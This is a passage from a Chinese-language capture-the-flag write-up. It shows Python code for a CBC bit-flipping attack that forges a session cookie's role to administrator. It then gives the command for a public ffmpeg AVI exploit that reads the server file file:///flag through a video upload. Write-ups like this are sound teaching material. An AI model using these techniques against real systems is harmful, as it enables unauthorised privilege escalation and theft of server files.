user_key = cbc_attack("eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVSHNGUVI0bG41VkZDOUwwOWVjaGtZaEVqZjRGRjhTQVV5VjVmS3RqbGhuY0JWN1BLdlJ2UVlGdVUydlppRXRKYlV0NkJWZGRlZUp0Rll2Nnl4dmxpaVhYMTdEcVZ6WXJjVjJEeTloekpaM29Gcm9yV0hUWDh0T2N0bjFITXFSSlBnPT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoyLCJwYXlsb2FkIjoidjByeEZqT2NJZW0xYzNta3o5Q2VINXZYdWxuZ0pES3AiLCJleHBpcmVfaW4iOjE1ODI5OTU2NDh9", 0, '{"role":3,"user_', '{"role":1,"user_')
user_key = modify_role_plain(user_key, 1)
print(user_key)
print("测试拉取用户信息:")
user_info = get_user_info(user_key)
print(user_info)

如果测试的返回没有问题的话,我们就可以直接拿payload修改为cookie登录了。实际上页面源码中会提示,预设一个值为Key的cookie,所以我们直接添加Key值cookie,成功登陆。
最后就是一个misc型题目了……后台唯一比较有意思 的是视频上传功能,而随便上传后再下下来我们的上传视频,会发现视频的MD5值发生改变。说明可能服务器对视频处理过了。这里赵师傅设计的是ffmpeg对视频处理。所以可找能处理ffmpeg漏洞的脚本
https://github.com/neex/ffmpeg-avi-m3u-xbin/

python gen_xbin_avi.py file:///flag test.avi

上传后再下下来,第一帧就有flag了。
flag

评论